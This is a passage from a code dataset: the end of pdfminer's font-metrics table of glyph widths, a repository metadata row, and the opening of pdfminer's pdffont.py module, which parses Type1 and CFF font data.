500, 179: 500, 180: 250, 182: 540, 183: 350, 184: 333, 185: 500, 186: 500, 187: 500, 188: 1000, 189: 1000, 191: 500, 193: 333, 194: 333, 195: 333, 196: 333, 197: 333, 198: 333, 199: 333, 200: 333, 202: 333, 203: 333, 205: 333, 206: 333, 207: 333, 208: 1000, 225: 1000, 227: 300, 232: 667, 233: 778, 234: 1000, 235: 330, 241: 722, 245: 278, 248: 278, 249: 500, 250: 722, 251: 556}), 'Symbol': ({'FontName': 'Symbol', 'FontBBox': (-180.0, -293.0, 1090.0, 1010.0), 'FontWeight': 'Medium', 'FontFamily': 'Symbol', 'Flags': 0, 'ItalicAngle': 0.0}, {32: 250, 33: 333, 34: 713, 35: 500, 36: 549, 37: 833, 38: 778, 39: 439, 40: 333, 41: 333, 42: 500, 43: 549, 44: 250, 45: 549, 46: 250, 47: 278, 48: 500, 49: 500, 50: 500, 51: 500, 52: 500, 53: 500, 54: 500, 55: 500, 56: 500, 57: 500, 58: 278, 59: 278, 60: 549, 61: 549, 62: 549, 63: 444, 64: 549, 65: 722, 66: 667, 67: 722, 68: 612, 69: 611, 70: 763, 71: 603, 72: 722, 73: 333, 74: 631, 75: 722, 76: 686, 77: 889, 78: 722, 79: 722, 80: 768, 81: 741, 82: 556, 83: 592, 84: 611, 85: 690, 86: 439, 87: 768, 88: 645, 89: 795, 90: 611, 91: 333, 92: 863, 93: 333, 94: 658, 95: 500, 96: 500, 97: 631, 98: 549, 99: 549, 100: 494, 101: 439, 102: 521, 103: 411, 104: 603, 105: 329, 106: 603, 107: 549, 108: 549, 109: 576, 110: 521, 111: 549, 112: 549, 113: 521, 114: 549, 115: 603, 116: 439, 117: 576, 118: 713, 119: 686, 120: 493, 121: 686, 122: 494, 123: 480, 124: 200, 125: 480, 126: 549, 160: 750, 161: 620, 162: 247, 163: 549, 164: 167, 165: 713, 166: 500, 167: 753, 168: 753, 169: 753, 170: 753, 171: 1042, 172: 987, 173: 603, 174: 987, 175: 603, 176: 400, 177: 549, 178: 411, 179: 549, 180: 549, 181: 713, 182: 494, 183: 460, 184: 549, 185: 549, 186: 549, 187: 549, 188: 1000, 189: 603, 190: 1000, 191: 658, 192: 823, 193: 686, 194: 795, 195: 987, 196: 768, 197: 768, 198: 823, 199: 768, 200: 768, 201: 713, 202: 713, 203: 713, 204: 713, 205: 713, 206: 713, 207: 713, 208: 768, 209: 713, 210: 790, 211: 790, 212: 890, 213: 823, 214: 549, 215: 250, 216: 713, 217: 603, 218: 603, 219: 1042, 220: 987, 221: 603, 222: 987, 223: 603, 224: 494, 225: 329, 226: 790, 227: 790, 228: 786, 229: 713, 230: 384, 231: 384, 232: 384, 233: 384, 234: 384, 235: 384, 236: 494, 237: 494, 238: 494, 239: 494, 241: 329, 242: 274, 243: 686, 244: 686, 245: 686, 246: 384, 247: 384, 248: 384, 249: 384, 250: 384, 251: 384, 252: 494, 253: 494, 254: 494}), 'Helvetica': ({'FontName': 'Helvetica', 'Descent': -207.0, 'FontBBox': (-166.0, -225.0, 1000.0, 931.0), 'FontWeight': 'Medium', 'CapHeight': 718.0, 'FontFamily': 'Helvetica', 'Flags': 0, 'XHeight': 523.0, 'ItalicAngle': 0.0, 'Ascent': 718.0}, {32: 278, 33: 278, 34: 355, 35: 556, 36: 556, 37: 889, 38: 667, 39: 222, 40: 333, 41: 333, 42: 389, 43: 584, 44: 278, 45: 333, 46: 278, 47: 278, 48: 556, 49: 556, 50: 556, 51: 556, 52: 556, 53: 556, 54: 556, 55: 556, 56: 556, 57: 556, 58: 278, 59: 278, 60: 584, 61: 584, 62: 584, 63: 556, 64: 1015, 65: 667, 66: 667, 67: 722, 68: 722, 69: 667, 70: 611, 71: 778, 72: 722, 73: 278, 74: 500, 75: 667, 76: 556, 77: 833, 78: 722, 79: 778, 80: 667, 81: 778, 82: 722, 83: 667, 84: 611, 85: 722, 86: 667, 87: 944, 88: 667, 89: 667, 90: 611, 91: 278, 92: 278, 93: 278, 94: 469, 95: 556, 96: 222, 97: 556, 98: 556, 99: 500, 100: 556, 101: 556, 102: 278, 103: 556, 104: 556, 105: 222, 106: 222, 107: 500, 108: 222, 109: 833, 110: 556, 111: 556, 112: 556, 113: 556, 114: 333, 115: 500, 116: 278, 117: 556, 118: 500, 119: 722, 120: 500, 121: 500, 122: 500, 123: 334, 124: 260, 125: 334, 126: 584, 161: 333, 162: 556, 163: 556, 164: 167, 165: 556, 166: 556, 167: 556, 168: 556, 169: 191, 170: 333, 171: 556, 172: 333, 173: 333, 174: 500, 175: 500, 177: 556, 178: 556, 179: 556, 180: 278, 182: 537, 183: 350, 184: 222, 185: 333, 186: 333, 187: 556, 188: 1000, 189: 1000, 191: 611, 193: 333, 194: 333, 195: 333, 196: 333, 197: 333, 198: 333, 199: 333, 200: 333, 202: 333, 203: 333, 205: 333, 206: 333, 207: 333, 208: 1000, 225: 1000, 227: 370, 232: 556, 233: 778, 234: 1000, 235: 365, 241: 889, 245: 278, 248: 222, 249: 611, 250: 944, 251: 611}), 'Helvetica-BoldOblique': ({'FontName': 'Helvetica-BoldOblique', 'Descent': -207.0, 'FontBBox': (-175.0, -228.0, 1114.0, 962.0), 'FontWeight': 'Bold', 'CapHeight': 718.0, 'FontFamily': 'Helvetica', 'Flags': 0, 'XHeight': 532.0, 'ItalicAngle': -12.0, 'Ascent': 718.0}, {32: 278, 33: 333, 34: 474, 35: 556, 36: 556, 37: 889, 38: 722, 39: 278, 40: 333, 41: 333, 42: 389, 43: 584, 44: 278, 45: 333, 46: 278, 47: 278, 48: 556, 49: 556, 50: 556, 51: 556, 52: 556, 53: 556, 54: 556, 55: 556, 56: 556, 57: 556, 58: 333, 59: 333, 60: 584, 61: 584, 62: 584, 63: 611, 64: 975, 65: 722, 66: 722, 67: 722, 68: 722, 69: 667, 70: 611, 71: 778, 72: 722, 73: 278, 74: 556, 75: 722, 76: 611, 77: 833, 78: 722, 79: 778, 80: 667, 81: 778, 82: 722, 83: 667, 84: 611, 85: 722, 86: 667, 87: 944, 88: 667, 89: 667, 90: 611, 91: 333, 92: 278, 93: 333, 94: 584, 95: 556, 96: 278, 97: 556, 98: 611, 99: 556, 100: 611, 101: 556, 102: 333, 103: 611, 104: 611, 105: 278, 106: 278, 107: 556, 108: 278, 109: 889, 110: 611, 111: 611, 112: 611, 113: 611, 114: 389, 115: 556, 116: 333, 117: 611, 118: 556, 119: 778, 120: 556, 121: 556, 122: 500, 123: 389, 124: 280, 125: 389, 126: 584, 161: 333, 162: 556, 163: 556, 164: 167, 165: 556, 166: 556, 167: 556, 168: 556, 169: 238, 170: 500, 171: 556, 172: 333, 173: 333, 174: 611, 175: 611, 177: 556, 178: 556, 179: 556, 180: 278, 182: 556, 183: 350, 184: 278, 185: 500, 186: 500, 187: 556, 188: 1000, 189: 1000, 191: 611, 193: 333, 194: 333, 195: 333, 196: 333, 197: 333, 198: 333, 199: 333, 200: 333, 202: 333, 203: 333, 205: 333, 206: 333, 207: 333, 208: 1000, 225: 1000, 227: 370, 232: 611, 233: 778, 234: 1000, 235: 365, 241: 889, 245: 278, 248: 278, 249: 611, 250: 944, 251: 611}), 'ZapfDingbats': ({'FontName': 'ZapfDingbats', 'FontBBox': (-1.0, -143.0, 981.0, 820.0), 'FontWeight': 'Medium', 'FontFamily': 'ITC', 'Flags': 0, 'ItalicAngle': 0.0}, {32: 278, 33: 974, 34: 961, 35: 974, 36: 980, 37: 719, 38: 789, 39: 790, 40: 791, 41: 690, 42: 960, 43: 939, 44: 549, 45: 855, 46: 911, 47: 933, 48: 911, 49: 945, 50: 974, 51: 755, 52: 846, 53: 762, 54: 761, 55: 571, 56: 677, 57: 763, 58: 760, 59: 759, 60: 754, 61: 494, 62: 552, 63: 537, 64: 577, 65: 692, 66: 786, 67: 788, 68: 788, 69: 790, 70: 793, 71: 794, 72: 816, 73: 823, 74: 789, 75: 841, 76: 823, 77: 833, 78: 816, 79: 831, 80: 923, 81: 744, 82: 723, 83: 749, 84: 790, 85: 792, 86: 695, 87: 776, 88: 768, 89: 792, 90: 759, 91: 707, 92: 708, 93: 682, 94: 701, 95: 826, 96: 815, 97: 789, 98: 789, 99: 707, 100: 687, 101: 696, 102: 689, 103: 786, 104: 787, 105: 713, 106: 791, 107: 785, 108: 791, 109: 873, 110: 761, 111: 762, 112: 762, 113: 759, 114: 759, 115: 892, 116: 892, 117: 788, 118: 784, 119: 438, 120: 138, 121: 277, 122: 415, 123: 392, 124: 392, 125: 668, 126: 668, 128: 390, 129: 390, 130: 317, 131: 317, 132: 276, 133: 276, 134: 509, 135: 509, 136: 410, 137: 410, 138: 234, 139: 234, 140: 334, 141: 334, 161: 732, 162: 544, 163: 544, 164: 910, 165: 667, 166: 760, 167: 760, 168: 776, 169: 595, 170: 694, 171: 626, 172: 788, 173: 788, 174: 788, 175: 788, 176: 788, 177: 788, 178: 788, 179: 788, 180: 788, 181: 788, 182: 788, 183: 788, 184: 788, 185: 788, 186: 788, 187: 788, 188: 788, 189: 788, 190: 788, 191: 788, 192: 788, 193: 788, 194: 788, 195: 788, 196: 788, 197: 788, 198: 788, 199: 788, 200: 788, 201: 788, 202: 788, 203: 788, 204: 788, 205: 788, 206: 788, 207: 788, 208: 788, 209: 788, 210: 788, 211: 788, 212: 894, 213: 838, 214: 1016, 215: 458, 216: 748, 217: 924, 218: 748, 219: 918, 220: 927, 221: 928, 222: 928, 223: 834, 224: 873, 225: 828, 226: 924, 227: 924, 228: 917, 229: 930, 230: 931, 231: 463, 232: 883, 233: 836, 234: 836, 235: 867, 236: 867, 237: 696, 238: 696, 239: 874, 241: 874, 242: 760, 243: 946, 244: 771, 245: 865, 246: 771, 247: 888, 248: 967, 249: 888, 250: 831, 251: 873, 252: 927, 253: 970, 254: 918}), 'Courier-Bold': ({'FontName': 'Courier-Bold', 'Descent': -194.0, 'FontBBox': (-88.0, -249.0, 697.0, 811.0), 'FontWeight': 'Bold', 'CapHeight': 572.0, 'FontFamily': 'Courier', 'Flags': 64, 'XHeight': 434.0, 'ItalicAngle': 0.0, 'Ascent': 627.0}, {32: 600, 33: 600, 34: 600, 35: 600, 36: 600, 37: 600, 38: 600, 39: 600, 40: 600, 41: 600, 42: 600, 43: 600, 44: 600, 45: 600, 46: 600, 47: 600, 48: 600, 49: 600, 50: 600, 51: 600, 52: 600, 53: 600, 54: 600, 55: 600, 56: 600, 57: 600, 58: 600, 59: 600, 60: 600, 61: 600, 62: 600, 63: 600, 64: 600, 65: 600, 66: 600, 67: 600, 68: 600, 69: 600, 70: 600, 71: 600, 72: 600, 73: 600, 74: 600, 75: 600, 76: 600, 77: 600, 78: 600, 79: 600, 80: 600, 81: 600, 82: 600, 83: 600, 84: 600, 85: 600, 86: 600, 87: 600, 88: 600, 89: 600, 90: 600, 91: 600, 92: 600, 93: 600, 94: 600, 95: 600, 96: 600, 97: 600, 98: 600, 99: 600, 100: 600, 101: 600, 102: 600, 103: 600, 104: 600, 105: 600, 106: 600, 107: 600, 108: 600, 109: 600, 110: 600, 111: 600, 112: 600, 113: 600, 114: 600, 115: 600, 116: 600, 117: 600, 118: 600, 119: 600, 120: 600, 121: 600, 122: 600, 123: 600, 124: 600, 125: 600, 126: 600, 161: 600, 162: 600, 163: 600, 164: 600, 165: 600, 166: 600, 167: 600, 168: 600, 169: 600, 170: 600, 171: 600, 172: 600, 173: 600, 174: 600, 175: 600, 177: 600, 178: 600, 179: 600, 180: 600, 182: 600, 183: 600, 184: 600, 185: 600, 186: 600, 187: 600, 188: 600, 189: 600, 191: 600, 193: 600, 194: 600, 195: 600, 196: 600, 197: 600, 198: 600, 199: 600, 200: 600, 202: 600, 203: 600, 205: 600, 206: 600, 207: 600, 208: 600, 225: 600, 227: 600, 232: 600, 233: 600, 234: 600, 235: 600, 241: 600, 245: 600, 248: 600, 249: 600, 250: 600, 251: 600}), 'Times-Italic': ({'FontName': 'Times-Italic', 'Descent': -217.0, 'FontBBox': (-169.0, -217.0, 1010.0, 883.0), 'FontWeight': 'Medium', 'CapHeight': 653.0, 'FontFamily': 'Times', 'Flags': 0, 'XHeight': 441.0, 'ItalicAngle': -15.5, 'Ascent': 683.0}, {32: 250, 33: 333, 34: 420, 35: 500, 36: 500, 37: 833, 38: 778, 39: 333, 40: 333, 41: 333, 42: 500, 43: 675, 44: 250, 45: 333, 46: 250, 47: 278, 48: 500, 49: 500, 50: 500, 51: 500, 52: 500, 53: 500, 54: 500, 55: 500, 56: 500, 57: 500, 58: 333, 59: 333, 60: 675, 61: 675, 62: 675, 63: 500, 64: 920, 65: 611, 66: 611, 67: 667, 68: 722, 69: 611, 70: 611, 71: 722, 72: 722, 73: 333, 74: 444, 75: 667, 76: 556, 77: 833, 78: 667, 79: 722, 80: 611, 81: 722, 82: 611, 83: 500, 84: 556, 85: 722, 86: 611, 87: 833, 88: 611, 89: 556, 90: 556, 91: 389, 92: 278, 93: 389, 94: 422, 95: 500, 96: 333, 97: 500, 98: 500, 99: 444, 100: 500, 101: 444, 102: 278, 103: 500, 104: 500, 105: 278, 106: 278, 107: 444, 108: 278, 109: 722, 110: 500, 111: 500, 112: 500, 113: 500, 114: 389, 115: 389, 116: 278, 117: 500, 118: 444, 119: 667, 120: 444, 121: 444, 122: 389, 123: 400, 124: 275, 125: 400, 126: 541, 161: 389, 162: 500, 163: 500, 164: 167, 165: 500, 166: 500, 167: 500, 168: 500, 169: 214, 170: 556, 171: 500, 172: 333, 173: 333, 174: 500, 175: 500, 177: 500, 178: 500, 179: 500, 180: 250, 182: 523, 183: 350, 184: 333, 185: 556, 186: 556, 187: 500, 188: 889, 189: 1000, 191: 500, 193: 333, 194: 333, 195: 333, 196: 333, 197: 333, 198: 333, 199: 333, 200: 333, 202: 333, 203: 333, 205: 333, 206: 333, 207: 333, 208: 889, 225: 889, 227: 276, 232: 556, 233: 722, 234: 944, 235: 310, 241: 667, 245: 278, 248: 278, 249: 500, 250: 667, 251: 500}), 'Times-Roman': ({'FontName': 'Times-Roman', 'Descent': -217.0, 'FontBBox': (-168.0, -218.0, 1000.0, 898.0), 'FontWeight': 'Roman', 'CapHeight': 662.0, 'FontFamily': 'Times', 'Flags': 0, 'XHeight': 450.0, 'ItalicAngle': 0.0, 'Ascent': 683.0}, {32: 250, 33: 333, 34: 408, 35: 500, 36: 500, 37: 833, 38: 778, 39: 333, 40: 333, 41: 333, 42: 500, 43: 564, 44: 250, 45: 333, 46: 250, 47: 278, 48: 500, 49: 500, 50: 500, 51: 500, 52: 500, 53: 500, 54: 500, 55: 500, 56: 500, 57: 500, 58: 278, 59: 278, 60: 564, 61: 564, 62: 564, 63: 444, 64: 921, 65: 722, 66: 667, 67: 667, 68: 722, 69: 611, 70: 556, 71: 722, 72: 722, 73: 333, 74: 389, 75: 722, 76: 611, 77: 889, 78: 722, 79: 722, 80: 556, 81: 722, 82: 667, 83: 556, 84: 611, 85: 722, 86: 722, 87: 944, 88: 722, 89: 722, 90: 611, 91: 333, 92: 278, 93: 333, 94: 469, 95: 500, 96: 333, 97: 444, 98: 500, 99: 444, 100: 500, 101: 444, 102: 333, 103: 500, 104: 500, 105: 278, 106: 278, 107: 500, 108: 278, 109: 778, 110: 500, 111: 500, 112: 500, 113: 500, 114: 333, 115: 389, 116: 278, 117: 500, 118: 500, 119: 722, 120: 500, 121: 500, 122: 444, 123: 480, 124: 200, 125: 480, 126: 541, 161: 333, 162: 500, 163: 500, 164: 167, 165: 500, 166: 500, 167: 500, 168: 500, 169: 180, 170: 444, 171: 500, 172: 333, 173: 333, 174: 556, 175: 556, 177: 500, 178: 500, 179: 500, 180: 250, 182: 453, 183: 350, 184: 333, 185: 444, 186: 444, 187: 500, 188: 1000, 189: 1000, 191: 444, 193: 333, 194: 333, 195: 333, 196: 333, 197: 333, 198: 333, 199: 333, 200: 333, 202: 333, 203: 333, 205: 333, 206: 333, 207: 333, 208: 1000, 225: 889, 227: 276, 232: 611, 233: 722, 234: 889, 235: 310, 241: 667, 245: 278, 248: 278, 249: 500, 250: 722, 251: 500}), 'Helvetica-Oblique': ({'FontName': 'Helvetica-Oblique', 'Descent': -207.0, 'FontBBox': (-171.0, -225.0, 1116.0, 931.0), 'FontWeight': 'Medium', 'CapHeight': 718.0, 'FontFamily': 'Helvetica', 'Flags': 0, 'XHeight': 523.0, 'ItalicAngle': -12.0, 'Ascent': 718.0}, {32: 278, 33: 278, 34: 355, 35: 556, 36: 556, 37: 889, 38: 667, 39: 222, 40: 333, 41: 333, 42: 389, 43: 584, 44: 278, 45: 333, 46: 278, 47: 278, 48: 556, 49: 556, 50: 556, 51: 556, 52: 556, 53: 556, 54: 556, 55: 556, 56: 556, 57: 556, 58: 278, 59: 278, 60: 584, 61: 584, 62: 584, 63: 556, 64: 1015, 65: 667, 66: 667, 67: 722, 68: 722, 69: 667, 70: 611, 71: 778, 72: 722, 73: 278, 74: 500, 75: 667, 76: 556, 77: 833, 78: 722, 79: 778, 80: 667, 81: 778, 82: 722, 83: 667, 84: 611, 85: 722, 86: 667, 87: 944, 88: 667, 89: 667, 90: 611, 91: 278, 92: 278, 93: 278, 94: 469, 95: 556, 96: 222, 97: 556, 98: 556, 99: 500, 100: 556, 101: 556, 102: 278, 103: 556, 104: 556, 105: 222, 106: 222, 107: 500, 108: 222, 109: 833, 110: 556, 111: 556, 112: 556, 113: 556, 114: 333, 115: 500, 116: 278, 117: 556, 118: 500, 119: 722, 120: 500, 121: 500, 122: 500, 123: 334, 124: 260, 125: 334, 126: 584, 161: 333, 162: 556, 163: 556, 164: 167, 165: 556, 166: 556, 167: 556, 168: 556, 169: 191, 170: 333, 171: 556, 172: 333, 173: 333, 174: 500, 175: 500, 177: 556, 178: 556, 179: 556, 180: 278, 182: 537, 183: 350, 184: 222, 185: 333, 186: 333, 187: 556, 188: 1000, 189: 1000, 191: 611, 193: 333, 194: 333, 195: 333, 196: 333, 197: 333, 198: 333, 199: 333, 200: 333, 202: 333, 203: 333, 205: 333, 206: 333, 207: 333, 208: 1000, 225: 1000, 227: 370, 232: 556, 233: 778, 234: 1000, 235: 365, 241: 889, 245: 278, 248: 222, 249: 611, 250: 944, 251: 611}), }
25,237
Python
.py
37
680.351351
2,122
0.593672
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,808
pdffont.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/pdffont.py
#!/usr/bin/env python2 import sys import struct try: from cStringIO import StringIO except ImportError: from StringIO import StringIO from cmapdb import CMapDB, CMapParser, FileUnicodeMap, CMap from encodingdb import EncodingDB, name2unicode from psparser import PSStackParser from psparser import PSSyntaxError, PSEOF from psparser import LIT, KWD, STRICT from psparser import PSLiteral, literal_name from pdftypes import PDFException, resolve1 from pdftypes import int_value, float_value, num_value from pdftypes import str_value, list_value, dict_value, stream_value from fontmetrics import FONT_METRICS from utils import apply_matrix_norm, nunpack, choplist def get_widths(seq): widths = {} r = [] for v in seq: if isinstance(v, list): if r: char1 = r[-1] for (i,w) in enumerate(v): widths[char1+i] = w r = [] elif isinstance(v, int): r.append(v) if len(r) == 3: (char1,char2,w) = r for i in xrange(char1, char2+1): widths[i] = w r = [] return widths #assert get_widths([1]) == {} #assert get_widths([1,2,3]) == {1:3, 2:3} #assert get_widths([1,[2,3],6,[7,8]]) == {1:2,2:3, 6:7,7:8} def get_widths2(seq): widths = {} r = [] for v in seq: if isinstance(v, list): if r: char1 = r[-1] for (i,(w,vx,vy)) in enumerate(choplist(3,v)): widths[char1+i] = (w,(vx,vy)) r = [] elif isinstance(v, int): r.append(v) if len(r) == 5: (char1,char2,w,vx,vy) = r for i in xrange(char1, char2+1): widths[i] = (w,(vx,vy)) r = [] return widths #assert get_widths2([1]) == {} #assert get_widths2([1,2,3,4,5]) == {1:(3,(4,5)), 2:(3,(4,5))} #assert get_widths2([1,[2,3,4,5],6,[7,8,9]]) == {1:(2,(3,4)), 6:(7,(8,9))} ## FontMetricsDB ## class FontMetricsDB(object): @classmethod def get_metrics(klass, fontname): return FONT_METRICS[fontname] ## Type1FontHeaderParser ## class Type1FontHeaderParser(PSStackParser): KEYWORD_BEGIN = KWD('begin') KEYWORD_END = KWD('end') KEYWORD_DEF = KWD('def') KEYWORD_PUT = KWD('put') KEYWORD_DICT = KWD('dict') KEYWORD_ARRAY = KWD('array') KEYWORD_READONLY = KWD('readonly') KEYWORD_FOR = KWD('for') KEYWORD_FOR = KWD('for') def __init__(self, data): PSStackParser.__init__(self, data) self._cid2unicode = {} return def get_encoding(self): while 1: try: (cid,name) = self.nextobject() except PSEOF: break try: self._cid2unicode[cid] = name2unicode(name) except KeyError: pass return self._cid2unicode def do_keyword(self, pos, token): if token is self.KEYWORD_PUT: ((_,key),(_,value)) = self.pop(2) if (isinstance(key, int) and isinstance(value, PSLiteral)): self.add_results((key, literal_name(value))) return ## CFFFont ## (Format specified in Adobe Technical Note: #5176 ## "The Compact Font Format Specification") ## NIBBLES = ('0','1','2','3','4','5','6','7','8','9','.','e','e-',None,'-') def getdict(data): d = {} fp = StringIO(data) stack = [] while 1: c = fp.read(1) if not c: break b0 = ord(c) if b0 <= 21: d[b0] = stack stack = [] continue if b0 == 30: s = '' loop = True while loop: b = ord(fp.read(1)) for n in (b >> 4, b & 15): if n == 15: loop = False else: s += NIBBLES[n] value = float(s) elif 32 <= b0 and b0 <= 246: value = b0-139 else: b1 = ord(fp.read(1)) if 247 <= b0 and b0 <= 250: value = ((b0-247)<<8)+b1+108 elif 251 <= b0 and b0 <= 254: value = -((b0-251)<<8)-b1-108 else: b2 = ord(fp.read(1)) if 128 <= b1: b1 -= 256 if b0 == 28: value = b1<<8 | b2 else: value = b1<<24 | b2<<16 | struct.unpack('>H', fp.read(2))[0] stack.append(value) return d class CFFFont(object): STANDARD_STRINGS = ( '.notdef', 'space', 'exclam', 'quotedbl', 'numbersign', 'dollar', 'percent', 'ampersand', 'quoteright', 'parenleft', 'parenright', 'asterisk', 'plus', 'comma', 'hyphen', 'period', 'slash', 'zero', 'one', 'two', 'three', 'four', 'five', 'six', 'seven', 'eight', 'nine', 'colon', 'semicolon', 'less', 'equal', 'greater', 'question', 'at', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'bracketleft', 'backslash', 'bracketright', 'asciicircum', 'underscore', 'quoteleft', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'braceleft', 'bar', 'braceright', 'asciitilde', 'exclamdown', 'cent', 'sterling', 'fraction', 'yen', 'florin', 'section', 'currency', 'quotesingle', 'quotedblleft', 'guillemotleft', 'guilsinglleft', 'guilsinglright', 'fi', 'fl', 'endash', 'dagger', 'daggerdbl', 'periodcentered', 'paragraph', 'bullet', 'quotesinglbase', 'quotedblbase', 'quotedblright', 'guillemotright', 'ellipsis', 'perthousand', 'questiondown', 'grave', 'acute', 'circumflex', 'tilde', 'macron', 'breve', 'dotaccent', 'dieresis', 'ring', 'cedilla', 'hungarumlaut', 'ogonek', 'caron', 'emdash', 'AE', 'ordfeminine', 'Lslash', 'Oslash', 'OE', 'ordmasculine', 'ae', 'dotlessi', 'lslash', 'oslash', 'oe', 'germandbls', 'onesuperior', 'logicalnot', 'mu', 'trademark', 'Eth', 'onehalf', 'plusminus', 'Thorn', 'onequarter', 'divide', 'brokenbar', 'degree', 'thorn', 'threequarters', 'twosuperior', 'registered', 'minus', 'eth', 'multiply', 'threesuperior', 'copyright', 'Aacute', 'Acircumflex', 'Adieresis', 'Agrave', 'Aring', 'Atilde', 'Ccedilla', 'Eacute', 'Ecircumflex', 'Edieresis', 'Egrave', 'Iacute', 'Icircumflex', 'Idieresis', 'Igrave', 'Ntilde', 'Oacute', 'Ocircumflex', 'Odieresis', 'Ograve', 'Otilde', 'Scaron', 'Uacute', 'Ucircumflex', 'Udieresis', 'Ugrave', 'Yacute', 'Ydieresis', 'Zcaron', 'aacute', 'acircumflex', 'adieresis', 'agrave', 'aring', 'atilde', 'ccedilla', 'eacute', 'ecircumflex', 'edieresis', 'egrave', 'iacute', 'icircumflex', 'idieresis', 'igrave', 'ntilde', 'oacute', 'ocircumflex', 'odieresis', 'ograve', 'otilde', 'scaron', 'uacute', 'ucircumflex', 'udieresis', 'ugrave', 'yacute', 'ydieresis', 'zcaron', 'exclamsmall', 'Hungarumlautsmall', 'dollaroldstyle', 'dollarsuperior', 'ampersandsmall', 'Acutesmall', 'parenleftsuperior', 'parenrightsuperior', 'twodotenleader', 'onedotenleader', 'zerooldstyle', 'oneoldstyle', 'twooldstyle', 'threeoldstyle', 'fouroldstyle', 'fiveoldstyle', 'sixoldstyle', 'sevenoldstyle', 'eightoldstyle', 'nineoldstyle', 'commasuperior', 'threequartersemdash', 'periodsuperior', 'questionsmall', 'asuperior', 'bsuperior', 'centsuperior', 'dsuperior', 'esuperior', 'isuperior', 'lsuperior', 'msuperior', 'nsuperior', 'osuperior', 'rsuperior', 'ssuperior', 'tsuperior', 'ff', 'ffi', 'ffl', 'parenleftinferior', 'parenrightinferior', 'Circumflexsmall', 'hyphensuperior', 'Gravesmall', 'Asmall', 'Bsmall', 'Csmall', 'Dsmall', 'Esmall', 'Fsmall', 'Gsmall', 'Hsmall', 'Ismall', 'Jsmall', 'Ksmall', 'Lsmall', 'Msmall', 'Nsmall', 'Osmall', 'Psmall', 'Qsmall', 'Rsmall', 'Ssmall', 'Tsmall', 'Usmall', 'Vsmall', 'Wsmall', 'Xsmall', 'Ysmall', 'Zsmall', 'colonmonetary', 'onefitted', 'rupiah', 'Tildesmall', 'exclamdownsmall', 'centoldstyle', 'Lslashsmall', 'Scaronsmall', 'Zcaronsmall', 'Dieresissmall', 'Brevesmall', 'Caronsmall', 'Dotaccentsmall', 'Macronsmall', 'figuredash', 'hypheninferior', 'Ogoneksmall', 'Ringsmall', 'Cedillasmall', 'questiondownsmall', 'oneeighth', 'threeeighths', 'fiveeighths', 'seveneighths', 'onethird', 'twothirds', 'zerosuperior', 'foursuperior', 'fivesuperior', 'sixsuperior', 'sevensuperior', 'eightsuperior', 'ninesuperior', 'zeroinferior', 'oneinferior', 'twoinferior', 'threeinferior', 'fourinferior', 'fiveinferior', 'sixinferior', 'seveninferior', 'eightinferior', 'nineinferior', 'centinferior', 'dollarinferior', 'periodinferior', 'commainferior', 'Agravesmall', 'Aacutesmall', 'Acircumflexsmall', 'Atildesmall', 'Adieresissmall', 'Aringsmall', 'AEsmall', 'Ccedillasmall', 'Egravesmall', 'Eacutesmall', 'Ecircumflexsmall', 'Edieresissmall', 'Igravesmall', 'Iacutesmall', 'Icircumflexsmall', 'Idieresissmall', 'Ethsmall', 'Ntildesmall', 'Ogravesmall', 'Oacutesmall', 'Ocircumflexsmall', 'Otildesmall', 'Odieresissmall', 'OEsmall', 'Oslashsmall', 'Ugravesmall', 'Uacutesmall', 'Ucircumflexsmall', 'Udieresissmall', 'Yacutesmall', 'Thornsmall', 'Ydieresissmall', '001.000', '001.001', '001.002', '001.003', 'Black', 'Bold', 'Book', 'Light', 'Medium', 'Regular', 'Roman', 'Semibold', ) class INDEX(object): def __init__(self, fp): self.fp = fp self.offsets = [] (count, offsize) = struct.unpack('>HB', self.fp.read(3)) for i in xrange(count+1): self.offsets.append(nunpack(self.fp.read(offsize))) self.base = self.fp.tell()-1 self.fp.seek(self.base+self.offsets[-1]) return def __repr__(self): return '<INDEX: size=%d>' % len(self) def __len__(self): return len(self.offsets)-1 def __getitem__(self, i): self.fp.seek(self.base+self.offsets[i]) return self.fp.read(self.offsets[i+1]-self.offsets[i]) def __iter__(self): return iter( self[i] for i in xrange(len(self)) ) def __init__(self, name, fp): self.name = name self.fp = fp # Header (_major,_minor,hdrsize,offsize) = struct.unpack('BBBB', self.fp.read(4)) self.fp.read(hdrsize-4) # Name INDEX self.name_index = self.INDEX(self.fp) # Top DICT INDEX self.dict_index = self.INDEX(self.fp) # String INDEX self.string_index = self.INDEX(self.fp) # Global Subr INDEX self.subr_index = self.INDEX(self.fp) # Top DICT DATA self.top_dict = getdict(self.dict_index[0]) (charset_pos,) = self.top_dict.get(15, [0]) (encoding_pos,) = self.top_dict.get(16, [0]) (charstring_pos,) = self.top_dict.get(17, [0]) # CharStrings self.fp.seek(charstring_pos) self.charstring = self.INDEX(self.fp) self.nglyphs = len(self.charstring) # Encodings self.code2gid = {} self.gid2code = {} self.fp.seek(encoding_pos) format = self.fp.read(1) if format == '\x00': # Format 0 (n,) = struct.unpack('B', self.fp.read(1)) for (code,gid) in enumerate(struct.unpack('B'*n, self.fp.read(n))): self.code2gid[code] = gid self.gid2code[gid] = code elif format == '\x01': # Format 1 (n,) = struct.unpack('B', self.fp.read(1)) code = 0 for i in xrange(n): (first,nleft) = struct.unpack('BB', self.fp.read(2)) for gid in xrange(first,first+nleft+1): self.code2gid[code] = gid self.gid2code[gid] = code code += 1 else: raise ValueError('unsupported encoding format: %r' % format) # Charsets self.name2gid = {} self.gid2name = {} self.fp.seek(charset_pos) format = self.fp.read(1) if format == '\x00': # Format 0 n = self.nglyphs-1 for (gid,sid) in enumerate(struct.unpack('>'+'H'*n, self.fp.read(2*n))): gid += 1 name = self.getstr(sid) self.name2gid[name] = gid self.gid2name[gid] = name elif format == '\x01': # Format 1 (n,) = struct.unpack('B', self.fp.read(1)) sid = 0 for i in xrange(n): (first,nleft) = struct.unpack('BB', self.fp.read(2)) for gid in xrange(first,first+nleft+1): name = self.getstr(sid) self.name2gid[name] = 